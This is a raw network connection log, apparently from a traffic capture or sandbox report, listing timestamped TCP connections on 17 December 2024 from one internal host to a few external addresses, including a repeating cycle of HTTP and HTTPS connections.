Dec 17, 2024 08:42:58.593410969 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:42:58.593424082 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:00.004173994 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:00.004286051 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:00.060506105 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:00.060545921 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:00.061593056 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:00.061657906 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:00.064728975 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:00.107336998 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.545934916 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.546013117 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.556935072 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.557024956 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.575685024 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.575750113 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.665812969 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.665874004 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.665888071 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.665932894 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.737986088 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.738059044 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.741574049 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.741640091 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.741700888 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.741743088 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.748990059 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.749072075 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.749083996 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.749129057 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.756681919 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.756762981 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.764022112 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.764106035 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.764117002 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.764158010 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.771409988 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.771498919 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.771505117 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.771552086 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.779067993 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.779113054 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.779117107 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.779160023 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.786482096 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.786545992 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.786685944 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.786732912 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.794025898 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.794090033 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.801440954 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.801516056 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.801548004 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.801594973 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.808954000 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.809029102 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.809036970 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.809078932 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.815490961 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.815555096 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.815562963 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.815598965 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.822217941 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.822294950 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.828805923 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.828918934 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.828928947 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.828968048 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.835005045 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.835103035 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.835110903 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.835155010 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.930047989 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.930104017 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.930159092 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.930202007 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.934952974 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.935004950 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.935045958 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.935090065 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.938199043 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.938242912 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.942295074 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.942338943 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.942455053 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.942501068 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.947032928 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.947072983 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.947149992 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.947200060 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.947236061 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.947293997 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.951564074 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.951628923 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.951857090 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.951910019 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.956145048 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.956195116 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.959794998 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.959846973 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.959887028 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.959937096 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.963826895 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.963871002 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.964164019 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.964206934 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.968127012 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.968172073 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.968178034 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.968219042 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.972371101 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.972419977 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.977565050 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.977612019 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.977617025 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.977653980 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.980854988 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.980897903 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.980901957 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.980942965 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.984765053 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.984807014 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.984946966 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.984991074 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.989257097 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.989304066 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.989414930 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.989458084 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.993701935 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.993745089 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.997417927 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.997462034 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:02.997757912 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:02.997797966 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:03.001710892 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:03.001765013 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:03.001996994 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:03.002044916 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:03.005975008 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:03.006025076 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:03.006145000 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:03.006196022 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:03.006242990 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:03.006246090 CET	443	49737	142.250.200.225	192.168.2.4
Dec 17, 2024 08:43:03.006302118 CET	49737	443	192.168.2.4	142.250.200.225
Dec 17, 2024 08:43:03.457197905 CET	49738	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:03.577127934 CET	80	49738	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:03.577200890 CET	49738	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:03.577646017 CET	49738	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:03.699428082 CET	80	49738	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:04.794939041 CET	80	49738	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:04.799891949 CET	49738	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:04.919800043 CET	80	49738	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:05.180206060 CET	80	49738	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:05.227377892 CET	49738	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:06.108890057 CET	49739	443	192.168.2.4	104.21.67.152
Dec 17, 2024 08:43:06.108947992 CET	443	49739	104.21.67.152	192.168.2.4
Dec 17, 2024 08:43:06.109019041 CET	49739	443	192.168.2.4	104.21.67.152
Dec 17, 2024 08:43:06.112616062 CET	49739	443	192.168.2.4	104.21.67.152
Dec 17, 2024 08:43:06.112639904 CET	443	49739	104.21.67.152	192.168.2.4
Dec 17, 2024 08:43:07.332737923 CET	443	49739	104.21.67.152	192.168.2.4
Dec 17, 2024 08:43:07.335992098 CET	49739	443	192.168.2.4	104.21.67.152
Dec 17, 2024 08:43:07.339020014 CET	49739	443	192.168.2.4	104.21.67.152
Dec 17, 2024 08:43:07.339035988 CET	443	49739	104.21.67.152	192.168.2.4
Dec 17, 2024 08:43:07.339431047 CET	443	49739	104.21.67.152	192.168.2.4
Dec 17, 2024 08:43:07.343985081 CET	49739	443	192.168.2.4	104.21.67.152
Dec 17, 2024 08:43:07.387330055 CET	443	49739	104.21.67.152	192.168.2.4
Dec 17, 2024 08:43:07.773452997 CET	443	49739	104.21.67.152	192.168.2.4
Dec 17, 2024 08:43:07.773540020 CET	443	49739	104.21.67.152	192.168.2.4
Dec 17, 2024 08:43:07.773659945 CET	49739	443	192.168.2.4	104.21.67.152
Dec 17, 2024 08:43:07.780390024 CET	49739	443	192.168.2.4	104.21.67.152
Dec 17, 2024 08:43:13.202642918 CET	49738	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:13.322618961 CET	80	49738	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:13.582544088 CET	80	49738	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:13.633618116 CET	49738	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:13.819619894 CET	49747	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:13.819662094 CET	443	49747	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:13.819843054 CET	49747	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:13.820307970 CET	49747	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:13.820319891 CET	443	49747	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:15.187578917 CET	443	49747	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:15.187676907 CET	49747	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:15.189490080 CET	49747	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:15.189501047 CET	443	49747	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:15.189793110 CET	443	49747	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:15.191632032 CET	49747	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:15.239326954 CET	443	49747	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:15.240048885 CET	49747	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:15.240056992 CET	443	49747	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:15.858951092 CET	443	49747	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:15.859024048 CET	443	49747	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:15.859078884 CET	49747	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:15.859621048 CET	49747	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:16.009618044 CET	49738	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:16.010886908 CET	49753	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:16.130085945 CET	80	49738	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:16.130597115 CET	80	49753	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:16.130728960 CET	49738	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:16.130754948 CET	49753	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:16.130964994 CET	49753	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:16.250693083 CET	80	49753	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:17.335628986 CET	80	49753	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:17.337385893 CET	49759	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:17.337436914 CET	443	49759	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:17.337534904 CET	49759	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:17.338233948 CET	49759	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:17.338254929 CET	443	49759	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:17.383645058 CET	49753	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:18.700539112 CET	443	49759	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:18.704041958 CET	49759	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:18.704073906 CET	443	49759	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:18.707999945 CET	49759	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:18.708007097 CET	443	49759	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:19.406985044 CET	443	49759	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:19.407066107 CET	443	49759	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:19.407135010 CET	49759	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:19.407526970 CET	49759	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:19.411437988 CET	49765	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:19.531341076 CET	80	49765	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:19.531478882 CET	49765	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:19.531661987 CET	49765	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:19.651443958 CET	80	49765	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:20.736805916 CET	80	49765	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:20.738003969 CET	49766	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:20.738051891 CET	443	49766	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:20.738109112 CET	49766	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:20.738421917 CET	49766	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:20.738446951 CET	443	49766	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:20.789925098 CET	49765	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:22.101655960 CET	443	49766	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:22.103276968 CET	49766	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:22.103291988 CET	443	49766	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:22.103353977 CET	49766	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:22.103360891 CET	443	49766	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:22.807264090 CET	443	49766	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:22.807353973 CET	443	49766	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:22.807416916 CET	49766	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:22.807830095 CET	49766	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:22.812640905 CET	49765	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:22.813795090 CET	49772	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:22.932805061 CET	80	49765	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:22.932882071 CET	49765	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:22.933612108 CET	80	49772	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:22.933681011 CET	49772	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:22.933883905 CET	49772	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:23.053592920 CET	80	49772	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:24.142376900 CET	80	49772	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:24.143563986 CET	49778	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:24.143624067 CET	443	49778	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:24.143687963 CET	49778	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:24.143964052 CET	49778	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:24.143979073 CET	443	49778	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:24.196141005 CET	49772	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:25.515614033 CET	443	49778	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:25.524482965 CET	49778	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:25.524522066 CET	443	49778	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:25.524596930 CET	49778	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:25.524605036 CET	443	49778	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:26.189069986 CET	443	49778	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:26.189160109 CET	443	49778	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:26.189205885 CET	49778	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:26.189671993 CET	49778	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:26.192938089 CET	49772	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:26.194184065 CET	49783	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:26.312999010 CET	80	49772	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:26.313061953 CET	49772	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:26.313903093 CET	80	49783	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:26.313972950 CET	49783	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:26.314163923 CET	49783	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:26.433947086 CET	80	49783	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:27.522449970 CET	80	49783	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:27.525553942 CET	49784	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:27.525652885 CET	443	49784	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:27.525768995 CET	49784	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:27.526019096 CET	49784	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:27.526048899 CET	443	49784	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:27.571290970 CET	49783	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:28.890923023 CET	443	49784	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:28.893968105 CET	49784	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:28.893994093 CET	443	49784	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:28.894043922 CET	49784	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:28.894054890 CET	443	49784	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:29.522211075 CET	443	49784	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:29.522473097 CET	443	49784	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:29.522535086 CET	49784	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:29.522839069 CET	49784	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:29.526262045 CET	49783	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:29.527450085 CET	49790	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:29.646591902 CET	80	49783	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:29.647217989 CET	80	49790	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:29.647330046 CET	49783	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:29.647360086 CET	49790	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:29.647578955 CET	49790	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:29.767343998 CET	80	49790	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:30.855303049 CET	80	49790	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:30.856867075 CET	49794	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:30.856914997 CET	443	49794	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:30.857006073 CET	49794	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:30.857260942 CET	49794	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:30.857271910 CET	443	49794	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:30.899262905 CET	49790	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:32.346534967 CET	443	49794	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:32.348431110 CET	49794	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:32.348511934 CET	443	49794	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:32.348604918 CET	49794	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:32.348624945 CET	443	49794	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:32.963917971 CET	443	49794	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:32.964121103 CET	443	49794	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:32.964184999 CET	49794	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:32.964510918 CET	49794	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:32.968194008 CET	49790	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:32.968978882 CET	49800	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:33.088247061 CET	80	49790	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:33.088370085 CET	49790	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:33.088663101 CET	80	49800	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:33.088735104 CET	49800	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:33.088923931 CET	49800	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:33.208637953 CET	80	49800	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:34.292960882 CET	80	49800	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:34.294383049 CET	49805	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:34.294430971 CET	443	49805	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:34.294526100 CET	49805	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:34.294789076 CET	49805	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:34.294800997 CET	443	49805	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:34.336774111 CET	49800	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:35.662969112 CET	443	49805	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:35.664815903 CET	49805	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:35.664855003 CET	443	49805	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:35.664928913 CET	49805	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:35.664937019 CET	443	49805	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:36.317049980 CET	443	49805	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:36.317136049 CET	443	49805	149.154.167.220	192.168.2.4
Dec 17, 2024 08:43:36.317200899 CET	49805	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:36.317590952 CET	49805	443	192.168.2.4	149.154.167.220
Dec 17, 2024 08:43:36.320411921 CET	49800	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:36.321429014 CET	49810	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:36.441143036 CET	80	49800	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:36.441278934 CET	80	49810	158.101.44.242	192.168.2.4
Dec 17, 2024 08:43:36.441281080 CET	49800	80	192.168.2.4	158.101.44.242
Dec 17, 2024 08:43:36.441379070 CET	49810	80	192.168.2.4	158.101.44.242
